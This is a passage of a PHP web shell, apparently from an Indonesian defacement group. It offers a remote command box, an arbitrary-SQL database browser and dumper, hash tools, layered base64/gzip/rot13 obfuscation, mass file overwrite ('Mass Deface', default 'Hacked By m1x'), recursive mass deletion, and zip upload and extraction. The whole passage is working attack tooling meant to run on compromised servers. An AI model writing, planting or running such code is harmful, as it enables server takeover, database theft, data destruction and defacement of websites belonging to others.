567 $msg .= "<th>$column</th>";
568 $kolum = $column;
569 }
570 $msg .= "</tr>";
571 $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
572 list($total) = mysql_fetch_row($hasil);
573 if(isset($_GET['z'])) $page = (int) $_GET['z'];
574 else $page = 1;
575 $pagenum = 100;
576 $totpage = ceil($total / $pagenum);
577 $start = (($page - 1) * $pagenum);
578 $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
579 while($datas = @mysql_fetch_assoc($hasil)){
580 $msg .= "<tr>";
581 foreach($datas as $data){
582 if(trim($data) == "") $data = " ";
583 $msg .= "<td>$data</td>";
584 }
585 $msg .= "</tr>";
586 }
587 $msg .= "</table>";
588
589
590 $head = "<div style=\"padding:10px 0 0 6px;\">
591 <form action=\"?\" method=\"get\">
592 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
593 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
594 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
595 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
596 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
597 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
598 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
599 <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
600 Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
601 for($i = 1;$i <= $totpage;$i++){
602 $head .= "<option value=\"".$i."\">".$i."</option>";
603 if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
604 }
605 $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
606 $msg = $msgq.$head.$msg;
607 }
608 elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
609 $db = $_GET['db'];
610 $query = magicboom($_GET['sqlquery']);
611 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
612 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
613 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
614 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
615 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
616 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
617 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
618 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
619 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
620 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
621 </form></div>
622 ";
623 @mysql_select_db($db);
624 $querys = explode(";",$query);
625 foreach($querys as $query){
626 if(trim($query) != ""){
627 $hasil = mysql_query($query);
628 if($hasil){
629 $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
630 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
631 for($i=0;$i<@mysql_num_fields($hasil);$i++)
632 $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
633 $msg .= "</tr>";
634 for($i=0;$i<@mysql_num_rows($hasil);$i++)
635 {
636 $rows=@mysql_fetch_array($hasil);
637 $msg .= "<tr>";
638 for($j=0;$j<@mysql_num_fields($hasil);$j++)
639 {
640 if($rows[$j] == "") $dataz = " ";
641 else $dataz = $rows[$j];
642 $msg .= "<td>".$dataz."</td>";
643 }
644 $msg .= "</tr>";
645 }
646 $msg .= "</table>";
647 }
648 else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
649 }
650 }
651 }
652 else {
653 $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";
654 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
655 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
656 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
657 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
658 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
659 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
660 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
661 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
662 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
663 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
664 </form></div>
665 ";
666 // show available database
667 $dbs = array();
668 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
669 $hasil = @mysql_list_dbs($con);
670 while(list($db) = @mysql_fetch_row($hasil)){
671 @array_push($dbs,$db);
672 }
673 @sort($dbs);
674 foreach($dbs as $db){
675 $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
676 }
677 $msg .= "</table>";
678 }
679 @mysql_close($con);
680 }
681 else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
682
683
684 echo $msg;
685}
686else{
687echo'<form action="?" method="get">
688<input type="hidden" name="y" value="<?php echo $pwd; ?>" />
689<input type="hidden" name="x" value="mysql" />
690<table class="tabnet" style="width:300px;">
691<tr><th colspan="2">Connect to mySQL server</th></tr>
692<tr><td> Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
693<tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
694<tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
695<tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr>
696</table>
697</form>';
698} elseif ($_GET['do'] == 'dbdump') {
699 echo $head . '<center><br><p align="center">';
700 echo '<form action method=post>
701 <table width=400 class=tabnet >
702 <tr>
703 <td>Server </td>
704 <td><input class="inputz" type=text name=server value="localhost" size=52></td></tr><tr>
705 <td>Username</td>
706 <td><input class="inputz" type=text name=username size=52></td></tr><tr>
707 <td>Password</td>
708 <td><input class="inputz" type=text name=password size=52></td></tr><tr>
709 <td>DataBase Name</td>
710 <td><input class="inputz" type=text name=dbname size=52></td></tr>
711 <tr>
712 <td>DB Type </td>
713 <td><form method=post action="' . $me . '">
714 <select class="inputz" name=method>
715 <option value="gzip">Gzip</option>
716 <option value="sql">Sql</option>
717 </select>
718 <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
719 </form></center></table><br>';
720 if ($_POST['username'] && $_POST['dbname'] && $_POST['method']) {
721 $date = date("Y-m-d");
722 $dbserver = $_POST['server'];
723 $dbuser = $_POST['username'];
724 $dbpass = $_POST['password'];
725 $dbname = $_POST['dbname'];
726 $file = "Dump-$dbname-$date";
727 $method = $_POST['method'];
728 if ($method == 'sql') {
729 $file = "Dump-$dbname-$date.sql";
730 $fp = fopen($file, "w");
731 } else {
732 $file = "Dump-$dbname-$date.sql.gz";
733 $fp = gzopen($file, "w");
734 }
735 function write($data) {
736 global $fp;
737 if ($_POST['method'] == 'ssql') {
738 fwrite($fp, $data);
739 } else {
740 gzwrite($fp, $data);
741 }
742 }
743 mysql_connect($dbserver, $dbuser, $dbpass);
744 mysql_select_db($dbname);
745 $tables = mysql_query("SHOW TABLES");
746 while ($i = mysql_fetch_array($tables)) {
747 $i = $i['Tables_in_' . $dbname];
748 $create = mysql_fetch_array(mysql_query("SHOW CREATE TABLE " . $i));
749 write($create['Create Table'] . ";nn");
750 $sql = mysql_query("SELECT * FROM " . $i);
751 if (mysql_num_rows($sql)) {
752 while ($row = mysql_fetch_row($sql)) {
753 foreach ($row as $j => $k) {
754 $row[$j] = "'" . mysql_escape_string($k) . "'";
755 }
756 write("INSERT INTO $i VALUES(" . implode(",", $row) . ");n");
757 }
758 }
759 }
760 if ($method == 'ssql') {
761 fclose($fp);
762 } else {
763 gzclose($fp);
764 }
765 header("Content-Disposition: attachment; filename=" . $file);
766 header("Content-Type: application/download");
767 header("Content-Length: " . filesize($file));
768 flush();
769 $fp = fopen($file, "r");
770 while (!feof($fp)) {
771 echo fread($fp, 65536);
772 flush();
773 }
774 fclose($fp);
775 }
776}elseif($_GET['do'] == 'hash'){
777 $submit = $_POST['enter'];
778 if (isset($_POST['password'])) {
779 $pass = $_POST['password']; // password
780 $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
781 $hash = md5($pass); // md5 hash #1
782 $md4 = hash("md4", $pass);
783 $hash_md5 = md5($salt . $pass); // md5 hash with salt #2
784 $hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
785 $hash1 = sha1($pass); // sha1 hash #4
786 $sha256 = hash("sha256", $text);
787 $hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5
788 $hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
789
790 }
791 echo '<center><br><form action="" method="post"><table>';
792 echo '<tr><td>Enter the word you want to encrypt:</td>';
793 echo '<td><input class="inputz" type="text" name="password" size="40" />';
794 echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
795 echo '</td></tr><br>';
796 echo '<tr><th colspan="2">Hash Result</th></center></tr>';
797 echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=' . $pass . ' ></td></tr>';
798 echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value=' . $hash . ' ></td></tr>';
799 echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value=' . $md4 . ' ></td></tr>';
800 echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=' . $hash_md5 . ' ></td></tr>';
801 echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=' . $hash_md5_double . ' ></td></tr>';
802 echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=' . $hash1 . ' ></td></tr>';
803 echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value=' . $sha256 . ' ></td></tr>';
804 echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=' . $hash1_sha1 . ' ></td></tr>';
805 echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=' . $hash1_sha1_double . ' ></td></tr></table></form></center><br>';
806}
807elseif($_GET['do'] == "hashid"){
808if (isset($_POST['hash'])) {
809 $hash = $_POST['hash'];
810 if (strlen($hash) == 32) {
811 $hashresult = "MD5 Hash";
812 } elseif (strlen($hash) == 40) {
813 $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
814 } elseif (strlen($hash) == 13) {
815 $hashresult = "DES(Unix) Hash";
816 } elseif (strlen($hash) == 16) {
817 $hashresult = "MySQL Hash / /DES(Oracle Hash)";
818 } elseif (strlen($hash) == 41) {
819 $GetHashChar = substr($hash, 40);
820 if ($GetHashChar == "*") {
821 $hashresult = "MySQL5 Hash";
822 }
823 } elseif (strlen($hash) == 64) {
824 $hashresult = "SHA-256 Hash";
825 } elseif (strlen($hash) == 96) {
826 $hashresult = "SHA-384 Hash";
827 } elseif (strlen($hash) == 128) {
828 $hashresult = "SHA-512 Hash";
829 } elseif (strlen($hash) == 34) {
830 if (strstr($hash, '$1$')) {
831 $hashresult = "MD5(Unix) Hash";
832 }
833 } elseif (strlen($hash) == 37) {
834 if (strstr($hash, '$apr1$')) {
835 $hashresult = "MD5(APR) Hash";
836 }
837 } elseif (strlen($hash) == 34) {
838 if (strstr($hash, '$H$')) {
839 $hashresult = "MD5(phpBB3) Hash";
840 }
841 } elseif (strlen($hash) == 34) {
842 if (strstr($hash, '$P$')) {
843 $hashresult = "MD5(Wordpress) Hash";
844 }
845 } elseif (strlen($hash) == 39) {
846 if (strstr($hash, '$5$')) {
847 $hashresult = "SHA-256(Unix) Hash";
848 }
849 } elseif (strlen($hash) == 39) {
850 if (strstr($hash, '$6$')) {
851 $hashresult = "SHA-512(Unix) Hash";
852 }
853 } elseif (strlen($hash) == 24) {
854 if (strstr($hash, '==')) {
855 $hashresult = "MD5(Base-64) Hash";
856 }
857 } else {
858 $hashresult = "<font color='red'>Hash type not found</font>";
859 }
860 } else {
861 $hashresult = "No Hash Entered";
862 }
863echo '<center><br>
864 <form action="" method="POST">
865 <tr>
866 <table class="tabnet">
867 <tr class="optionstr"><td>Enter Hash</td><td>:</td> <td><input type="text" name="hash" size="60" class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
868 <tr class="optionstr"><td>Result</td><td>:</td><td><font color="lime">'. $hashresult .'</font></td></tr>
869 </table></tr></form><br>
870 </center>';
871}
872elseif($_GET['do'] == 'endec') {
873$text = $_POST['code'];
874echo "<center>
875<form method='post'><br>
876<textarea placeholder='MASUKIN TEXT YANG MAU DI ENCRYPT/DECRYPT' class='inputz' cols=80 rows=10 name='code'></textarea><br><br>
877<select class='inputz' size='1' name='ope'>
878<option value='urlencode'>url</option>
879<option value='json'>json</option>
880<option value='ur'>convert_uu</option>
881<option value='base64'>Base64</option>
882<option value='url'>base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
883<option value='base6416x'>Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64</option>
884<option value='coeg'>gzinflate - base64</option>
885<option value='gzinflater'>gzinflate - str_rot13 - base64</option>
886<option value='gzinflatex'>gzinflate - str_rot13 - gzinflate - base64</option>
887<option value='str2'>str_rot13 - base64</option>
888<option value='gzinflate'>str_rot13 - gzinflate - base64</option>
889<option value='str'>str_rot13 - gzinflate - str_rot13 - base64</option>
890<option value='super'>str_rot13 - gzinflate - str_rot13 - base64 - gzinflate - str_rot13 - base64</option>
891<option value='gzpress'>gzcompress - base64</option>
892</select><br> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
893<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
894</form>";
895$submit = $_POST['submit'];
896if (isset($submit)){
897$op = $_POST["ope"];
898switch ($op) {case 'base64': $codi=base64_encode($text);
899break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
900break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
901break;case 'coeg' : $codi=base64_encode(gzdeflate($text));
902break;case 'base6416x' : $codi=base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(($text)))))))))))))))));
903break;case 'super' : $codi=base64_encode(str_rot13(gzdeflate(base64_encode(str_rot13(gzdeflate(str_rot13($text)))))));
904break;case 'urlencode' : $codi=rawurlencode($text);
905break;case 'ur' : $codi=convert_uuencode($text);
906break;case 'json' : $codi=json_encode(utf8_encode($text));
907break;case 'str2' : $codi=base64_encode(str_rot13($text));
908break;case 'gzinflater' : $codi=base64_encode(str_rot13(gzdeflate($text)));
909break;case 'gzinflatex' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
910break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
911break;case 'gzpress' : $codi=base64_encode(gzcompress($text));
912break;default:break;}}
913$submit = $_POST['submits'];
914if (isset($submit)){
915$op = $_POST["ope"];
916switch ($op) {case 'base64': $codi=base64_decode($text);
917break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
918break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
919break;case 'coeg' : $codi=gzinflate(base64_decode($text));
920break;case 'base6416x' : $codi=base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(($text)))))))))))))))));
921break;case 'super' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(gzinflate(str_rot13(base64_decode($text)))))));
922break;case 'urlencode' : $codi=rawurldecode($text);
923break;case 'ur' : $codi=convert_uudecode($text);
924break;case 'json' : $codi=utf8_decode(json_decode($text));
925break;case 'str2' : $codi=str_rot13(base64_decode($text));
926break;case 'gzinflater' : $codi=gzinflate(str_rot13(base64_decode($text)));
927break;case 'gzinflatex' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
928break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
929break;case 'gzpress' : $codi=gzuncompress(base64_decode($text));
930break;default:break;}}
931$myfile = fopen("x.txt", "w") or die("Unable to open file!");
932fwrite($myfile, $codi);
933fclose($myfile);
934echo "<center><div id='kotakan'><br>
935<a href='x.txt' target='blank_'>[ R E S U L T ]</a></div><br>";
936} elseif($_GET['do'] == 'cmd') {
937 echo "<form method='post'>
938 <font style='text-decoration: none;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
939 <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
940 </form>";
941 if($_POST['do_cmd']) {
942 echo "<pre>".exe($_POST['cmd'])."</pre>";
943 }
944} elseif($_GET['do'] == 'mass_deface') {
945 echo "<center><form action=\"\" method=\"post\">\n";
946 $dirr=$_POST['d_dir'];
947 $index = $_POST["script"];
948 $index = str_replace('"',"'",$index);
949 $index = stripslashes($index);
950 function edit_file($file,$index){
951 if (is_writable($file)) {
952 clear_fill($file,$index);
953 echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
954 }
955 else {
956 echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
957 }
958 }
959 function hapus_massal($dir,$namafile) {
960 if(is_writable($dir)) {
961 $dira = scandir($dir);
962 foreach($dira as $dirb) {
963 $dirc = "$dir/$dirb";
964 $lokasi = $dirc.'/'.$namafile;
965 if($dirb === '.') {
966 if(file_exists("$dir/$namafile")) {
967 unlink("$dir/$namafile");
968 }
969 } elseif($dirb === '..') {
970 if(file_exists("".dirname($dir)."/$namafile")) {
971 unlink("".dirname($dir)."/$namafile");
972 }
973 } else {
974 if(is_dir($dirc)) {
975 if(is_writable($dirc)) {
976 if(file_exists($lokasi)) {
977 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
978 unlink($lokasi);
979 $idx = hapus_massal($dirc,$namafile);
980 }
981 }
982 }
983 }
984 }
985 }
986 }
987 function clear_fill($file,$index){
988 if(file_exists($file)){
989 $handle = fopen($file,'w');
990 fwrite($handle,'');
991 fwrite($handle,$index);
992 fclose($handle); } }
993
994 function gass(){
995 global $dirr , $index ;
996 chdir($dirr);
997 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
998 $files = scandir($dirr) ;
999 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
1000 sort($files);
1001 $n = 0 ;
1002 foreach ($files as $file){
1003 if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
1004 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
1005 edit_file($file,$index);
1006 flush();
1007 $n = $n +1 ;
1008 }
1009 }
1010 echo "<br>";
1011 echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
1012 }
1013 function ListFiles($dirrall) {
1014
1015 if($dh = opendir($dirrall)) {
1016
1017 $files = Array();
1018 $inner_files = Array();
1019 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1020 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
1021 while($file = readdir($dh)) {
1022 if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
1023 if(is_dir($dirrall . "/" . $file)) {
1024 $inner_files = ListFiles($dirrall . "/" . $file);
1025 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
1026 } else {
1027 array_push($files, $dirrall . "/" . $file);
1028 }
1029 }
1030 }
1031
1032 closedir($dh);
1033 return $files;
1034 }
1035 }
1036 function gass_all(){
1037 global $index ;
1038 $dirrall=$_POST['d_dir'];
1039 foreach (ListFiles($dirrall) as $key=>$file){
1040 $file = str_replace('//',"/",$file);
1041 echo "<center><strong>$file</strong> ===>";
1042 edit_file($file,$index);
1043 flush();
1044 }
1045 $key = $key+1;
1046 echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
1047 function sabun_massal($dir,$namafile,$isi_script) {
1048 if(is_writable($dir)) {
1049 $dira = scandir($dir);
1050 foreach($dira as $dirb) {
1051 $dirc = "$dir/$dirb";
1052 $lokasi = $dirc.'/'.$namafile;
1053 if($dirb === '.') {
1054 file_put_contents($lokasi, $isi_script);
1055 } elseif($dirb === '..') {
1056 file_put_contents($lokasi, $isi_script);
1057 } else {
1058 if(is_dir($dirc)) {
1059 if(is_writable($dirc)) {
1060 echo "[<font color=lime>DONE</font>] $lokasi<br>";
1061 file_put_contents($lokasi, $isi_script);
1062 $idx = sabun_massal($dirc,$namafile,$isi_script);
1063 }
1064 }
1065 }
1066 }
1067 }
1068 }
1069 if($_POST['mass'] == 'onedir') {
1070 echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
1071 $ini="http://";
1072 $mainpath=$_POST[d_dir];
1073 $file=$_POST[d_file];
1074 $dir=opendir("$mainpath");
1075 $code=base64_encode($_POST[script]);
1076 $indx=base64_decode($code);
1077 while($row=readdir($dir)){
1078 $start=@fopen("$row/$file","w+");
1079 $finish=@fwrite($start,$indx);
1080 if ($finish){
1081 echo"$ini$row/$file\n";
1082 }
1083 }
1084 echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
1085 $mainpath=$_POST[d_dir];$file=$_POST[d_file];
1086 $dir=opendir("$mainpath");
1087 $code=base64_encode($_POST[script]);
1088 $indx=base64_decode($code);
1089 while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
1090 $finish=@fwrite($start,$indx);
1091 if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
1092 }
1093
1094 }
1095 elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
1096 elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
1097 elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
1098 elseif($_POST['mass'] == 'massdeface') {
1099 echo "<div style='margin: 5px auto; padding: 5px'>";
1100 sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
1101 echo "</div>"; }
1102 else {
1103 echo "
1104 <center><font style='text-decoration: underline;'>
1105 Select Type:<br>
1106 </font>
1107 <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
1108 <option value=\"onedir\">Mass Deface 1 Dir</option>
1109 <option value=\"massdeface\">Mass Deface ALL Dir</option>
1110 <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
1111 <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
1112 <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
1113 <font style='text-decoration: underline;'>Folder:</font><br>
1114 <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
1115 <font style='text-decoration: underline;'>Filename:</font><br>
1116 <input type='text' name='d_file' value='m1x.php' style='width: 450px;' height='10'><br>
1117 <font style='text-decoration: underline;'>Index File:</font><br>
1118 <textarea name='script' style='width: 450px; height: 200px;'>Hacked By m1x</textarea><br>
1119 <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
1120 </form></center>";
1121 }
1122 }
1123elseif($_GET['do'] == 'zip') {
1124 echo "<center><br>";
1125function rmdir_recursive($dir) {
1126 foreach(scandir($dir) as $file) {
1127 if ('.' === $file || '..' === $file) continue;
1128 if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
1129 else unlink("$dir/$file");
1130 }
1131 rmdir($dir);
1132}
1133if($_FILES["zip_file"]["name"]) {
1134 $filename = $_FILES["zip_file"]["name"];
1135 $source = $_FILES["zip_file"]["tmp_name"];
1136 $type = $_FILES["zip_file"]["type"];
1137 $name = explode(".", $filename);
1138 $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
1139 foreach($accepted_types as $mime_type) {
1140 if($mime_type == $type) {
1141 $okay = true;
1142 break;
1143 }
1144 }
1145 $continue = strtolower($name[1]) == 'zip' ? true : false;
1146 if(!$continue) {
1147 $message = "Itu Bukan Zip , , GOBLOK COK";
1148 }
1149 $path = dirname(__FILE__).'/';
1150 $filenoext = basename ($filename, '.zip');
1151 $filenoext = basename ($filenoext, '.ZIP');
1152 $targetdir = $path . $filenoext;
1153 $targetzip = $path . $filename;
1154 if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
1155 mkdir($targetdir, 0777);
1156 if(move_uploaded_file($source, $targetzip)) {
1157 $zip = new ZipArchive();
1158 $x = $zip->open($targetzip);
1159 if ($x === true) {
1160 $zip->extractTo($targetdir);
1161 $zip->close();
1162
1163 unlink($targetzip);
1164 }
1165 $message = "<b>Sukses Gan :)</b>";
1166 } else {
1167 $message = "<b>Error Gan :(</b>";
1168 }
1169}
1170echo '<table style="width:100%" border="1">
1171 <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
1172<label>Zip File : <input type="file" name="zip_file" /></label>
1173<input type="submit" name="submit" value="Upload And Unzip" />
1174</form>';
1175if($message) echo "<p>$message</p>";
1176echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
1177 if($_POST['backup']){
1178 $save=$_POST['save'];
1179 function Zip($source, $destination)
1180{
1181 if (extension_loaded('zip') === true)
1182 {
1183 if (file_exists($source) === true)
1184 {
1185 $zip = new ZipArchive();
1186
1187 if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
1188 {
1189 $source = realpath($source);
1190
1191 if (is_dir($source) === true)
1192 {
1193 $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
1194
1195 foreach ($files as $file)
1196 {
1197 $file = realpath($file);
1198
1199 if (is_dir($file) === true)
1200 {
1201 $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
1202 }
1203
1204 else if (is_file($file) === true)
1205 {
1206 $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
1207 }
1208 }
1209 }
1210
1211 else if (is_file($source) === true)
1212 {
1213 $zip->addFromString(basename($source), file_get_contents($source));
1214 }
1215 }
1216
1217 return $zip->close();
1218 }
1219 }
1220
1221 return false;
1222}
1223 Zip($_POST['dir'],$save);
1224 echo "Done , Save To <b>$save</b>";
1225 }
1226 echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
1227 if($_POST['extrak']){
1228 $save=$_POST['save'];
1229 $zip = new ZipArchive;
1230 $res = $zip->open($_POST['dir']);
1231 if ($res === TRUE) {
1232 $zip->extractTo($save);
1233 $zip->close();
1234 echo 'Succes , Location : <b>'.$save.'</b>';
1235 } else {
1236 echo 'Gagal Mas :( Ntahlah !';
1237 }
1238 }
1239echo '</tr></table><br>';
1240 }
1241 elseif($_GET['do'] == 'shellchk') {
